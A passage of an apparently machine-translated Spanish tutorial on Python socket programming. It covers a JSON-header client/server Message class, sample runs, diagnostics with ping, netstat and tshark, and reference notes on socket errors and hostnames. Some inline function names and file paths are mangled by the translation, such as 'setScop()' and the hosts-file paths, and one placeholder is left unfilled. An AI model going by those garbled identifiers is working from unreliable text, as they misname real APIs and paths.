mensaje está listo para ser procesado por el servidor.
La clase de mensajes del servidor se encuentra en el archivo [Link], que forma
parte del código fuente que descargaste anteriormente. También puedes descargar el código
haciendo clic en el siguiente enlace:
Obtén tu código: Haz clic aquí para obtener el código de muestra gratuito que
usarás para aprender sobre programación de sockets en Python.
Los métodos aparecen en la clase en el orden en que se procesa un mensaje.
Cuando el servidor haya leído al menos dos bytes, se podrá procesar la cabecera de longitud
fija:
[Link]
# ...
class Message:
def __init__(self, selector, sock, addr):
# ...
# ...
def process_protoheader(self):
hdrlen = 2
if len(self._recv_buffer) >= hdrlen:
self._jsonheader_len = [Link](
">H", self._recv_buffer[:hdrlen]
)[0]
self._recv_buffer = self._recv_buffer[hdrlen:]
# ...
La cabecera de longitud fija es un entero de 2 bytes en orden de bytes de red (big-endian).
Contiene la longitud de la cabecera JSON. Se utiliza [Link]()para leer el
valor, decodificarlo y almacenarlo self._jsonheader_len. Tras procesar la parte del
mensaje a la que corresponde, .process_protoheader()se elimina del búfer de
recepción.
Al igual que con la cabecera de longitud fija, cuando hay suficientes datos en el búfer de
recepción para contener la cabecera JSON, también se puede procesar:
[Link]
# ...
class Message:
# ...
def process_jsonheader(self):
hdrlen = self._jsonheader_len
if len(self._recv_buffer) >= hdrlen:
[Link] = self._json_decode(
self._recv_buffer[:hdrlen], "utf-8"
)
self._recv_buffer = self._recv_buffer[hdrlen:]
for reqhdr in (
"byteorder",
"content-length",
"content-type",
"content-encoding",
):
if reqhdr not in [Link]:
raise ValueError(f"Missing required header '{reqhdr}'.")
# ...
Se llama al método self._json_decode()para decodificar y deserializar la cabecera
JSON en un diccionario. Dado que la cabecera JSON está definida como Unicode con
codificación UTF-8, utf-8esta se incluye directamente en la llamada. El resultado se
guarda en [Link]. Tras procesar la parte del mensaje
correspondiente, process_jsonheader()se elimina del búfer de recepción.
A continuación se encuentra el contenido propiamente dicho, o carga útil, del mensaje. Este
se describe en la cabecera JSON [Link]. Cuando content-lengthhay
bytes disponibles en el búfer de recepción, se puede procesar la solicitud.
[Link]
# ...
class Message:
# ...
def process_request(self):
content_len = [Link]["content-length"]
if not len(self._recv_buffer) >= content_len:
return
data = self._recv_buffer[:content_len]
self._recv_buffer = self._recv_buffer[content_len:]
if [Link]["content-type"] == "text/json":
encoding = [Link]["content-encoding"]
[Link] = self._json_decode(data, encoding)
print(f"Received request {[Link]!r} from {[Link]}")
else:
# Binary or unknown content-type
[Link] = data
print(
f"Received {[Link]['content-type']} "
f"request from {[Link]}"
)
# Set selector to listen for write events, we're done reading.
self._set_selector_events_mask("w")
# ...
Tras guardar el contenido del mensaje en la datavariable, .process_request()lo
elimina del búfer de recepción. A continuación, si el tipo de contenido es
JSON, .process_request()lo decodifica y deserializa. De lo contrario, esta
aplicación de ejemplo asume que se trata de una solicitud binaria y simplemente imprime el
tipo de contenido.
Por último, .process_request()se modifica el selector para que solo supervise los
eventos de escritura. En el script principal del servidor, [Link] socket está
configurado inicialmente para supervisar solo los eventos de lectura. Ahora que la solicitud
se ha procesado por completo, ya no es necesario leerla.
Ahora se puede crear una respuesta y escribirla en el socket. Cuando el socket sea
escribible, .create_response()se llama desde .write():
[Link]
# ...
class Message:
# ...
def create_response(self):
if [Link]["content-type"] == "text/json":
response = self._create_response_json_content()
else:
# Binary or unknown content-type
response = self._create_response_binary_content()
message = self._create_message(**response)
self.response_created = True
self._send_buffer += message
La respuesta se genera mediante la invocación de otros métodos, según el tipo de
contenido. En esta aplicación de ejemplo, se realiza una búsqueda simple en un diccionario
para las solicitudes JSON action == 'search'. Para sus propias aplicaciones, puede
definir otros métodos que se invoquen aquí.
Tras crear el mensaje de respuesta, self.response_createdse establece la variable
de estado para que .write()no se .create_response()vuelva a llamar. Finalmente,
la respuesta se añade al búfer de envío. Esto es procesado y enviado a través
de ._write().
Un aspecto complicado es cómo cerrar la conexión después de que se haya escrito la
respuesta. Puedes colocar la llamada .close()en el método ._write():
[Link]
# ...
class Message:
# ...
def _write(self):
if self._send_buffer:
print(f"Sending {self._send_buffer!r} to {[Link]}")
try:
# Should be ready to write
sent = [Link](self._send_buffer)
except BlockingIOError:
# Resource temporarily unavailable (errno EWOULDBLOCK)
pass
else:
self._send_buffer = self._send_buffer[sent:]
# Close when the buffer is drained. The response has been sent.
if sent and not self._send_buffer:
[Link]()
# ...
Aunque no se aprecia a simple vista, este es un compromiso aceptable dado que
la Messageclase solo procesa un mensaje por conexión. Una vez escrita la respuesta, el
servidor no tiene que hacer nada más. Ha finalizado su trabajo.
Script principal del cliente
En el script principal del cliente, [Link] argumentos se leen desde la línea
de comandos y se utilizan para crear solicitudes e iniciar conexiones con el servidor:
$ python [Link]
Usage: [Link] <host> <port> <action> <value>
Aquí tenéis un ejemplo:
$ python [Link] [Link] 65432 search needle
Tras crear un diccionario que representa la solicitud a partir de los argumentos de la línea
de comandos, el host, el puerto y el diccionario de solicitud se pasan
a .start_connection():
[Link]
# ...
def start_connection(host, port, request):
addr = (host, port)
print(f"Starting connection to {addr}")
sock = [Link](socket.AF_INET, socket.SOCK_STREAM)
[Link](False)
sock.connect_ex(addr)
events = selectors.EVENT_READ | selectors.EVENT_WRITE
message = [Link](sel, sock, addr, request)
[Link](sock, events, data=message)
# ...
Se crea un socket para la conexión con el servidor, así como un Messageobjeto
utilizando el requestdiccionario.
Al igual que en el servidor, el Messageobjeto se asocia al socket en la
llamada [Link](). Sin embargo, en el cliente, el socket se configura inicialmente
para monitorizar tanto los eventos de lectura como de escritura. Una vez enviada la
solicitud, se modifica para que solo escuche los eventos de lectura.
Este enfoque te ofrece la misma ventaja que al servidor: no desperdiciar ciclos de CPU.
Una vez enviada la solicitud, ya no te interesan los eventos de escritura, así que no hay
motivo para activarlos y procesarlos.
Clase de mensaje del cliente
En la sección Punto de entrada del mensaje , aprendió cómo se activaba el objeto de
mensaje cuando los eventos del socket estaban listos .process_events(). Ahora
aprenderá qué sucede después de que se leen y escriben datos en el socket y un mensaje
está listo para ser procesado por el cliente.
La clase de mensajes del cliente se encuentra en [Link], que forma parte del
código fuente que descargó anteriormente. También puede descargar el código haciendo
clic en el siguiente enlace:
Obtén tu código: Haz clic aquí para obtener el código de muestra gratuito que
usarás para aprender sobre programación de sockets en Python.
Los métodos aparecen en la clase en el orden en que se procesa un mensaje.
La primera tarea del cliente es poner en cola la solicitud:
[Link]
# ...
class Message:
# ...
def queue_request(self):
content = [Link]["content"]
content_type = [Link]["type"]
content_encoding = [Link]["encoding"]
if content_type == "text/json":
req = {
"content_bytes": self._json_encode(content, content_encoding),
"content_type": content_type,
"content_encoding": content_encoding,
}
else:
req = {
"content_bytes": content,
"content_type": content_type,
"content_encoding": content_encoding,
}
message = self._create_message(**req)
self._send_buffer += message
self._request_queued = True
# ...
Los diccionarios utilizados para crear la solicitud, dependiendo de lo que se pasó en la línea
de comandos, se encuentran en el script principal del cliente. [Link]
diccionario de la solicitud se pasa como argumento a la clase cuando Messagese crea
un objeto.
El mensaje de solicitud se crea y se agrega al búfer de envío, que luego es visto y enviado a
través de ._write(). La variable de estado self._request_queuedse establece
para que .queue_request()no se vuelva a llamar a .
Una vez enviada la solicitud, el cliente espera una respuesta del servidor.
Los métodos para leer y procesar un mensaje en el cliente son los mismos que en el
servidor. A medida que se leen los datos de respuesta del socket, processse llaman los
métodos de
encabezado: .process_protoheader()y .process_jsonheader().
La diferencia radica en el nombre de los processmétodos finales y en el hecho de que
procesan una respuesta, no la
crean: .process_response(), ._process_response_json_content(),
y ._process_response_binary_content().
Por último, pero no por ello menos importante, está el llamado final
a .process_response():
[Link]
# ...
class Message:
# ...
def process_response(self):
# ...
# Close when response has been processed
[Link]()
# ...
De acuerdo. Ahora puedes encapsular la clase de mensaje.
Resumen de la clase de mensaje
Para concluir el aprendizaje sobre la Messageclase, vale la pena mencionar un par de
cosas importantes a tener en cuenta con algunos de los métodos de apoyo.
Cualquier excepción generada por la clase es capturada por el script principal en
la exceptcláusula dentro del bucle de eventos:
[Link]
# ...
try:
while True:
events = [Link](timeout=1)
for key, mask in events:
message = [Link]
try:
message.process_events(mask)
except Exception:
print(
f"Main: Error: Exception for {[Link]}:\n"
f"{traceback.format_exc()}"
)
[Link]()
# Check for a socket being monitored to continue.
if not sel.get_map():
break
except KeyboardInterrupt:
print("Caught keyboard interrupt, exiting")
finally:
[Link]()
Fíjese en la línea: [Link]().
Esta línea es crucial, ¡por varias razones! No solo garantiza que el socket se cierre, sino
que [Link]()también evita que sea monitorizado .select(). Esto
simplifica enormemente el código de la clase y reduce su complejidad. Si se produce una
excepción o la generas explícitamente, sabes .close()que se encargará de la limpieza.
Los métodos Message._read()también Message._write()contienen algo
interesante:
[Link]
# ...
class Message:
# ...
def _read(self):
try:
# Should be ready to read
data = [Link](4096)
except BlockingIOError:
# Resource temporarily unavailable (errno EWOULDBLOCK)
pass
else:
if data:
self._recv_buffer += data
else:
raise RuntimeError("Peer closed.")
# ...
Fíjese en la except BlockingIOError:línea.
El ._write()método también tiene una. Estas líneas son importantes porque detectan un
error temporal y lo omiten pass. El error temporal se produce cuando el socket
se bloquea , por ejemplo, si está esperando respuesta de la red o del otro extremo de la
conexión, también conocido como su par.
Al capturar y omitir la excepción con pass, .select()eventualmente se activará una
nueva llamada y tendrá otra oportunidad de leer o escribir los datos.
Ejecución del cliente y servidor de la aplicación
¡Después de todo este duro trabajo, es hora de divertirse y realizar algunas búsquedas!
En estos ejemplos, ejecutarás el servidor para que escuche en todas las interfaces pasando
una cadena vacía como hostargumento. Esto te permitirá ejecutar el cliente y conectarte
desde una máquina virtual en otra red. Emula una máquina PowerPC big-endian.
Primero, inicia el servidor:
$ python [Link] '' 65432
Listening on ('', 65432)
Ahora ejecuta el cliente e introduce una búsqueda. A ver si puedes encontrarlo:
$ python [Link] [Link] 65432 search morpheus
Starting connection to ('[Link]', 65432)
Sending b'\x00d{"byteorder": "big", "content-type": "text/json", "content-encoding":
"utf-8", "content-length": 41}{"action": "search", "value": "morpheus"}' to ('[Link]',
65432)
Received response {'result': 'Follow the white rabbit. 🐰'} from ('[Link]', 65432)
Got result: Follow the white rabbit. 🐰
Closing connection to ('[Link]', 65432)
Puede que observes que la terminal está ejecutando un shell que utiliza una codificación de
texto Unicode (UTF-8), por lo que la salida anterior se imprime correctamente con emojis.
Ahora veamos si puedes encontrar a los cachorros:
$ python [Link] [Link] 65432 search 🐶
Starting connection to ('[Link]', 65432)
Sending b'\x00d{"byteorder": "big", "content-type": "text/json", "content-encoding":
"utf-8", "content-length": 37}{"action": "search", "value": "\xf0\x9f\x90\xb6"}' to
('[Link]', 65432)
Received response {'result': '🐾 Playing ball! 🏐'} from ('[Link]', 65432)
Got result: 🐾 Playing ball! 🏐
Closing connection to ('[Link]', 65432)
Fíjate en la cadena de bytes enviada por la red para la solicitud en la sendinglínea. Es
más fácil de ver si buscas los bytes impresos en hexadecimal que representan el emoji del
perrito: \xf0\x9f\x90\xb6. Si tu terminal usa Unicode con la codificación UTF-8,
podrás introducir el emoji para la búsqueda.
Esto demuestra que estás enviando bytes sin procesar a través de la red y que el receptor
debe decodificarlos para interpretarlos correctamente. Por eso te tomaste la molestia de
crear una cabecera que contenga el tipo de contenido y la codificación.
Aquí está la salida del servidor de ambas conexiones de cliente anteriores:
$ python [Link] '' 65432
Listening on ('', 65432)
Accepted connection from ('[Link]', 55340)
Received request {'action': 'search', 'value': 'morpheus'} from ('[Link]', 55340)
Sending b'\x00g{"byteorder": "little", "content-type": "text/json", "content-encoding":
"utf-8", "content-length": 43}{"result": "Follow the white rabbit. \xf0\x9f\x90\xb0"}' to
('[Link]', 55340)
Closing connection to ('[Link]', 55340)
Accepted connection from ('[Link]', 55338)
Received request {'action': 'search', 'value': '🐶'} from ('[Link]', 55338)
Sending b'\x00g{"byteorder": "little", "content-type": "text/json", "content-encoding":
"utf-8", "content-length": 37}{"result": "\xf0\x9f\x90\xbe Playing ball! \xf0\x9f\x8f\
x90"}' to ('[Link]', 55338)
Closing connection to ('[Link]', 55338)
Examine la sendinglínea para ver los bytes que se escribieron en el socket del cliente.
Este es el mensaje de respuesta del servidor.
También puedes probar a enviar solicitudes binarias al servidor si el actionargumento es
cualquier cosa distinta de search:
$ python [Link] [Link] 65432 binary 😃
Starting connection to ('[Link]', 65432)
Sending b'\x00|{"byteorder": "big", "content-type": "binary/custom-client-binary-type",
"content-encoding": "binary", "content-length": 10}binary\xf0\x9f\x98\x83' to
('[Link]', 65432)
Received binary/custom-server-binary-type response from ('[Link]', 65432)
Got response: b'First 10 bytes of request: binary\xf0\x9f\x98\x83'
Closing connection to ('[Link]', 65432)
Dado que la solicitud content-typeno es de tipo text/jsonJSON, el servidor la
trata como un tipo binario personalizado y no realiza la decodificación JSON. Simplemente
imprime el valor content-typey devuelve los diez primeros bytes al cliente:
$ python [Link] '' 65432
Listening on ('', 65432)
Accepted connection from ('[Link]', 55320)
Received binary/custom-client-binary-type request from ('[Link]', 55320)
Sending b'\x00\x7f{"byteorder": "little", "content-type": "binary/custom-server-binary-
type", "content-encoding": "binary", "content-length": 37}First 10 bytes of request:
binary\xf0\x9f\x98\x83' to ('[Link]', 55320)
Closing connection to ('[Link]', 55320)
Si todo funciona correctamente, ¡estás listo! Sin embargo, si surge algún problema, no te
preocupes. Aquí tienes algunas indicaciones para ayudarte a resolverlo.
Solución de problemas
Inevitablemente, algo fallará y te preguntarás qué hacer. No te preocupes, le pasa a todo el
mundo. Con suerte, gracias a este tutorial, tu depurador y tu buscador favorito, podrás
retomar el trabajo con el código fuente.
De no ser así, lo primero que debes hacer es consultar la documentación del módulo
socket de Python . Asegúrate de leer toda la documentación de cada función o método que
estés utilizando. Además, consulta la sección de Referencia a continuación para obtener
ideas. En particular, revisa la sección de Errores .
A veces, el problema no reside únicamente en el código fuente. Este puede ser correcto, y
el fallo podría estar en el otro host, el cliente o el servidor. O quizás se trate de la red. Tal
vez un router, un firewall u otro dispositivo de red esté interceptando la comunicación.
Para este tipo de problemas, es fundamental contar con herramientas adicionales. A
continuación, se presentan algunas herramientas y utilidades que podrían ser útiles o, al
menos, proporcionar algunas pistas.
El pingmando
pingComprobará si un host está activo y conectado a la red mediante el envío de una
solicitud de eco ICMP . Se comunica directamente con la pila de protocolos TCP/IP del
sistema operativo, por lo que funciona independientemente de cualquier aplicación que se
ejecute en el host.
A continuación se muestra un ejemplo de cómo ejecutar ping en macOS:
$ ping -c 3 [Link]
PING [Link] ([Link]): 56 data bytes
64 bytes from [Link]: icmp_seq=0 ttl=64 time=0.058 ms
64 bytes from [Link]: icmp_seq=1 ttl=64 time=0.165 ms
64 bytes from [Link]: icmp_seq=2 ttl=64 time=0.164 ms
--- [Link] ping statistics ---
3 packets transmitted, 3 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.058/0.129/0.165/0.050 ms
Fíjese en las estadísticas al final del informe. Esto puede ser útil para detectar problemas de
conectividad intermitente. Por ejemplo, ¿hay pérdida de paquetes? ¿Cuál es la latencia?
Puede comprobar los tiempos de ida y vuelta.
Si existe un firewall entre usted y el otro host, es posible que no se permita la solicitud de
eco de un ping. Algunos administradores de firewall implementan políticas que imponen
esta restricción. El objetivo es evitar que sus hosts sean detectables. Si este es el caso y ha
añadido reglas de firewall para permitir la comunicación entre los hosts, asegúrese de que
dichas reglas también permitan el paso de ICMP entre ellos.
ICMP es el protocolo que utiliza [nombre del servicio/comando] ping, pero también es el
protocolo que TCP y otros protocolos de nivel inferior usan para comunicar mensajes de
error. Si experimentas un comportamiento extraño o conexiones lentas, esta podría ser la
razón.
Los mensajes ICMP se identifican por su tipo y código. Para que te hagas una idea de la
información importante que contienen, aquí tienes algunos ejemplos:
Tipo Código Descripción
ICMP ICMP
8 0 Solicitud de eco
0 0 Respuesta de eco
3 0 Red de destino inalcanzable
3 1 Host de destino inalcanzable
3 2 Protocolo de destino inalcanzable
3 3 Puerto de destino inalcanzable
3 4 Se requiere fragmentación y se ha configurado la
bandera DF.
11 0 El TTL expiró durante el tránsito
Consulte el artículo «Detección de MTU de ruta» para obtener información sobre la
fragmentación y los mensajes ICMP. Este es un ejemplo de algo que puede provocar un
comportamiento inesperado.
El netstatmando
En la sección «Visualización del estado del socket» , aprendió cómo netstatse puede
usar para mostrar información sobre los sockets y su estado actual. Esta utilidad está
disponible en macOS, Linux y Windows.
En esa sección no se mencionan las columnas Recv-Qdel Send-Qejemplo de salida.
Estas columnas muestran la cantidad de bytes almacenados en los búferes de red, en cola
para su transmisión o recepción, pero que, por algún motivo, no han sido leídos ni escritos
por la aplicación remota o local.
En otras palabras, los bytes están en espera en los búferes de red de las colas del sistema
operativo. Una posible razón es que la aplicación esté sobrecargada de CPU o no pueda
acceder a los bytes [Link]()ni [Link]()procesarlos. También podrían
existir problemas de red que afecten a las comunicaciones, como congestión, fallos en el
hardware o el cableado de la red.
Para demostrar esto y ver cuántos datos se pueden enviar antes de que se produzca un error,
puede probar un cliente de prueba que se conecte a un servidor de prueba y realice llamadas
repetidas [Link](). El servidor de prueba nunca realiza la
llamada [Link](); simplemente acepta la conexión. Esto provoca que los búferes
de red del servidor se llenen, lo que finalmente genera un error en el cliente.
Primero, inicia el servidor:
$ python [Link] [Link] 65432
Listening on ('[Link]', 65432)
A continuación, ejecute el cliente para ver cuál es el error:
$ python [Link] [Link] 65432 binary test
Error: [Link]() blocking io exception for ('[Link]', 65432):
BlockingIOError(35, 'Resource temporarily unavailable')
Aquí se netstatmuestra la salida mientras el cliente y el servidor siguen en ejecución,
con el cliente imprimiendo el mensaje de error anterior varias veces:
$ netstat -an | grep 65432
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp4 408300 0 [Link].65432 [Link].53225 ESTABLISHED
tcp4 0 269868 [Link].53225 [Link].65432 ESTABLISHED
tcp4 0 0 [Link].65432 *.* LISTEN
La primera entrada es el servidor ( Local Addresstiene el puerto 65432):
$ netstat -an | grep 65432
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp4 408300 0 [Link].65432 [Link].53225 ESTABLISHED
tcp4 0 269868 [Link].53225 [Link].65432 ESTABLISHED
tcp4 0 0 [Link].65432 *.* LISTEN
Fíjese en los dos puntos Recv-Q( 408300:).
La segunda entrada es el cliente ( Foreign Addresstiene el puerto 65432):
$ netstat -an | grep 65432
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp4 408300 0 [Link].65432 [Link].53225 ESTABLISHED
tcp4 0 269868 [Link].53225 [Link].65432 ESTABLISHED
tcp4 0 0 [Link].65432 *.* LISTEN
Fíjese en los dos puntos Send-Q( 269868:).
El cliente intentaba escribir bytes, pero el servidor no los leía. Esto provocó que se llenara
la cola del búfer de red del servidor en el lado de recepción y la del cliente en el lado de
envío.
Herramientas para Windows
Si trabajas con Windows, hay un conjunto de utilidades que definitivamente deberías
consultar si aún no lo has hecho: Windows Sysinternals .
Una de ellas es [Link], una interfaz gráfica netstatpara Windows.
Además de direcciones, números de puerto y estado del socket, muestra el total acumulado
de paquetes y bytes enviados y recibidos.
Al igual que con la utilidad de Unix lsof, también se obtiene el nombre y el ID del
proceso. Consulte los menús para ver otras opciones de visualización.
Analizador de redes Wireshark
A veces necesitas ver qué ocurre en la red. Olvídate de lo que diga el registro de la
aplicación o del valor que devuelve una llamada a una biblioteca. Quieres ver qué se envía
o recibe realmente en la red. Igual que con los depuradores, cuando necesitas verlo, no hay
sustituto.
Wireshark es una aplicación de análisis de protocolos de red y captura de tráfico que
funciona en macOS, Linux y Windows, entre otros. Existe una versión con interfaz gráfica
de usuario (GUI) wiresharky también una versión de terminal basada en
texto tshark.
Realizar una captura de tráfico es una excelente manera de observar el comportamiento de
una aplicación en la red y recopilar información sobre qué envía y recibe, con qué
frecuencia y en qué cantidad. También podrá ver cuándo un cliente o servidor cierra o
interrumpe una conexión o deja de responder. Esta información puede ser extremadamente
útil para la resolución de problemas.
En la web existen muchos buenos tutoriales y otros recursos que te guiarán a través de los
conceptos básicos del uso de Wireshark y TShark.
Aquí tenéis un ejemplo de captura de tráfico utilizando Wireshark en la interfaz de bucle
invertido:
Aquí está el mismo ejemplo mostrado arriba usando tshark:
$ tshark -i lo0 'tcp port 65432'
Capturing on 'Loopback'
1 0.000000 [Link] → [Link] TCP 68 53942 → 65432 [SYN] Seq=0
Win=65535 Len=0 MSS=16344 WS=32 TSval=940533635 TSecr=0 SACK_PERM=1
2 0.000057 [Link] → [Link] TCP 68 65432 → 53942 [SYN, ACK] Seq=0
Ack=1 Win=65535 Len=0 MSS=16344 WS=32 TSval=940533635 TSecr=940533635
SACK_PERM=1
3 0.000068 [Link] → [Link] TCP 56 53942 → 65432 [ACK] Seq=1 Ack=1
Win=408288 Len=0 TSval=940533635 TSecr=940533635
4 0.000075 [Link] → [Link] TCP 56 [TCP Window Update] 65432 → 53942
[ACK] Seq=1 Ack=1 Win=408288 Len=0 TSval=940533635 TSecr=940533635
5 0.000216 [Link] → [Link] TCP 202 53942 → 65432 [PSH, ACK] Seq=1
Ack=1 Win=408288 Len=146 TSval=940533635 TSecr=940533635
6 0.000234 [Link] → [Link] TCP 56 65432 → 53942 [ACK] Seq=1
Ack=147 Win=408128 Len=0 TSval=940533635 TSecr=940533635
7 0.000627 [Link] → [Link] TCP 204 65432 → 53942 [PSH, ACK] Seq=1
Ack=147 Win=408128 Len=148 TSval=940533635 TSecr=940533635
8 0.000649 [Link] → [Link] TCP 56 53942 → 65432 [ACK] Seq=147
Ack=149 Win=408128 Len=0 TSval=940533635 TSecr=940533635
9 0.000668 [Link] → [Link] TCP 56 65432 → 53942 [FIN, ACK] Seq=149
Ack=147 Win=408128 Len=0 TSval=940533635 TSecr=940533635
10 0.000682 [Link] → [Link] TCP 56 53942 → 65432 [ACK] Seq=147
Ack=150 Win=408128 Len=0 TSval=940533635 TSecr=940533635
11 0.000687 [Link] → [Link] TCP 56 [TCP Dup ACK 6#1] 65432 → 53942
[ACK] Seq=150 Ack=147 Win=408128 Len=0 TSval=940533635 TSecr=940533635
12 0.000848 [Link] → [Link] TCP 56 53942 → 65432 [FIN, ACK] Seq=147
Ack=150 Win=408128 Len=0 TSval=940533635 TSecr=940533635
13 0.001004 [Link] → [Link] TCP 56 65432 → 53942 [ACK] Seq=150
Ack=148 Win=408128 Len=0 TSval=940533635 TSecr=940533635
^C13 packets captured
A continuación, recibirás más referencias para apoyar tu aprendizaje en la programación de
sockets.
Guía de referencia rápida
Puede utilizar esta sección como referencia general con información adicional y enlaces a
recursos externos sobre redes y sockets.
Documentación de Python
Primero, quizás quieras consultar la documentación oficial de Python:
socketmódulo
Cómo programar sockets
Para ampliar esta información, considere explorar tutoriales y guías en línea que ofrecen
ejemplos prácticos y explicaciones detalladas de los conceptos de programación de sockets.
Errores de socket
Lo siguiente está extraído de socketla documentación del módulo de Python:
Todos los errores generan excepciones. Se pueden generar las excepciones normales para
tipos de argumentos no válidos y condiciones de falta de memoria; a partir de Python 3.3,
los errores relacionados con la semántica de sockets o direcciones generan una excepción
de tipo `Exception` OSErroro una de sus subclases. (Fuente)
Aquí tienes algunos errores comunes que probablemente encontrarás al trabajar con
sockets:
Excepci errnoCo Descripción
ón nstante
Error de EWOULD Recurso temporalmente no disponible. Por ejemplo,
E/S de BLOCK en modo no bloqueante, al realizar una
bloqueo llamada .send(), si el otro extremo está ocupado y
no lee, la cola de envío (búfer de red) está llena o
hay problemas con la red. Esperemos que esta
situación sea temporal.
OSError EADDRIN Dirección ya en uso. Asegúrese de que no haya otro
USE proceso en ejecución que esté utilizando el mismo
número de puerto y de que su servidor esté
configurando la opción de
socket SO_REUSEADDR: [Link]
(socket.SOL_SOCKET,
socket.SO_REUSEADDR, 1).
Error de ECONNRE Conexión reiniciada por el servidor remoto. El
restablec SET proceso remoto falló o no cerró su socket
imiento correctamente (cierre inesperado). También podría
de haber un firewall u otro dispositivo en la ruta de
conexión red con reglas faltantes o que funciona de forma
incorrecta.
Error de ETIMEDO La operación ha expirado. No se ha recibido
tiempo UT respuesta del servidor.
de
espera
Error de ECONNRE Conexión rechazada. No hay ninguna aplicación
conexión FUSED escuchando en el puerto especificado.
rechazad
a
Es recomendable familiarizarse con estos errores comunes de sockets, ya que
comprenderlos puede ayudarle a diagnosticar y solucionar problemas de red de forma más
eficaz.
Familias de direcciones de sockets
socket.AF_INETy socket.AF_INET6representan las familias de direcciones y
protocolos utilizadas para el primer argumento de [Link](). Las API que
utilizan una dirección esperan que tenga un formato determinado, dependiendo de si el
socket se creó con socket.AF_INETo socket.AF_INET6:
Dirección Prot Tupla Descripción
Familiar ocol de
o direcci
ón
socket.AF_ IPv4 (host, hostes una cadena con un
INET port) nombre de host
como '[Link]'o
una dirección IPv4
como '[Link]'. portes un
número entero.
socket.AF_ IPv6 (host, hostes una cadena con un
INET6 port, nombre de host
flowinf como '[Link]'o
o, una dirección IPv6
scopei como 'fe80::6203:7ab:fe88:
d) 9c23'. portes un
entero. flowinfoy scopeidrepr
esentan los
miembrossin6_flowinfoy sin
6_scope_iden la estructura
C sockaddr_in6.
Observe el siguiente extracto de la documentación del módulo socket de Python con
respecto al hostvalor de la tupla de dirección:
Para las direcciones IPv4, se aceptan dos formatos especiales en lugar de la dirección del
host: la cadena vacía representa `<host>` INADDR_ANYy la cadena
`<host>` '<broadcast>'representa INADDR_BROADCAST`<host>`. Este
comportamiento no es compatible con IPv6; por lo tanto, conviene evitarlos si se pretende
que los programas de Python sean compatibles con IPv6. (Fuente)
Consulte la documentación de familias de sockets de Python para obtener más información.
Este tutorial utiliza sockets IPv4, pero si tu red lo admite, prueba con IPv6 si es posible.
Una forma sencilla de implementarlo es mediante la función
`setScop()` [Link](). Esta función traduce
los hostargumentos port`name` y `name` en una secuencia de quíntuplas que contiene
todos los argumentos necesarios para crear un socket conectado a ese servicio.
Nota: [Link]() comprenderá e interpretará las direcciones IPv6 y los
nombres de host que se resuelvan en direcciones IPv6, además de IPv4.
El siguiente ejemplo devuelve información de dirección para una conexión TCP
a [Link] puerto 80:
>>> [Link]("[Link]", 80, proto=socket.IPPROTO_TCP)
[(<AddressFamily.AF_INET6: 10>, <SocketType.SOCK_STREAM: 1>,
6, '', ('2606:2800:220:1:248:1893:25c8:1946', 80, 0, 0)),
(<AddressFamily.AF_INET: 2>, <SocketType.SOCK_STREAM: 1>,
6, '', ('[Link]', 80))]
Los resultados pueden variar en su sistema si IPv6 no está habilitado. Los valores devueltos
anteriormente se pueden usar pasándolos a `get` [Link]()y `get` . En
la sección de ejemplos de la documentación del módulo socket de
Python [Link]()encontrará un ejemplo de cliente y servidor .
Uso de nombres de host
Para contextualizar, esta sección se aplica principalmente al uso de nombres de host con
`localhost` .bind()y ` .connect()localhost`, o .connect_ex()`localhost`, cuando
se pretende utilizar la interfaz de bucle invertido, `localhost`.
Sin embargo, también se aplica siempre que se utilice un nombre de host y se espere que se
resuelva en una dirección específica y tenga un significado especial para la aplicación, lo
que afecta su comportamiento o sus suposiciones. Esto contrasta con el escenario típico de
un cliente que utiliza un nombre de host para conectarse a un servidor que se resuelve
mediante DNS, como [Link].
Lo siguiente está extraído de socketla documentación del módulo de Python:
Si se utiliza un nombre de host en la parte del host de la dirección de socket IPv4/v6, el
programa podría presentar un comportamiento impredecible, ya que Python utiliza la
primera dirección devuelta por la resolución DNS. La dirección de socket se resolverá de
forma diferente en una dirección IPv4/v6 real, dependiendo de los resultados de la
resolución DNS o de la configuración del host. Para un comportamiento predecible, utilice
una dirección numérica en la parte del host. (Fuente)
La convención estándar para el nombre « localhost » es que se resuelva a la
interfaz 127.0.0.1de ::1bucle invertido (loopback). Lo más probable es que este sea el
caso en tu sistema, pero podría no serlo. Depende de cómo esté configurado tu sistema para
la resolución de nombres. Como en todo lo relacionado con la informática, siempre hay
excepciones, y no hay garantías de que usar el nombre «localhost» te conecte a la interfaz
de bucle invertido.
Por ejemplo, en Linux, consulte man [Link] archivo de configuración del
Name Service Switch. En macOS y Linux, también puede consultar el archivo
`/etc/[Link]` /etc/hosts. En Windows, consulte ` /etc/ C:\Windows\
System32\drivers\etc\[Link]`. Este hostsarchivo contiene
una tabla estática de correspondencias entre nombres y direcciones en formato de texto
simple. El DNS es un aspecto completamente distinto.
Curiosamente, a partir de junio de 2018, existe un borrador de RFC titulado "Que 'localhost'
sea localhost" que analiza las convenciones, suposiciones y la seguridad en torno al uso del
nombre "localhost".
Es importante comprender que, al usar nombres de host en tu aplicación, las direcciones
devueltas pueden ser cualquiera. No des por sentado el nombre si tu aplicación requiere
seguridad. Dependiendo de tu aplicación y entorno, esto puede o no ser un problema.
Nota: Las precauciones y buenas prácticas de seguridad siguen vigentes, incluso si su
aplicación no es explícitamente sensible a la seguridad. Si su aplicación accede a la red,
debe protegerla y mantenerla. Esto significa, como mínimo:
Las actualizaciones del software del sistema y los parches de seguridad se aplican
periódicamente, incluyendo Python. ¿Utilizas alguna biblioteca de terceros? Si es
así, asegúrate de que también estén revisadas y actualizadas.
Si es posible, utilice un firewall dedicado o basado en el host para restringir las
conexiones únicamente a sistemas de confianza.
¿Qué servidores DNS están configurados? ¿Confías en ellos y en sus
administradores?
Asegúrese de que los datos de la solicitud se limpien y validen en la medida de lo
posible antes de llamar a otro código que los procese. Utilice pruebas de fuzzing
para ello y ejecútelas periódicamente.
Independientemente de si usas nombres de host o no, si tu aplicación necesita admitir
conexiones seguras mediante cifrado y autenticación, probablemente te interese usar TLS .
Este es un tema aparte y está fuera del alcance de este tutorial. Consulta la documentación
del módulo ssl de Python para empezar. Este es el mismo protocolo que usa tu navegador
web para conectarse de forma segura a los sitios web.
Con interfaces, direcciones IP y resolución de nombres a considerar, existen muchas
variables. ¿Qué debería hacer? Aquí le ofrecemos algunas recomendaciones que puede
utilizar si no dispone de un proceso de revisión de aplicaciones de red:
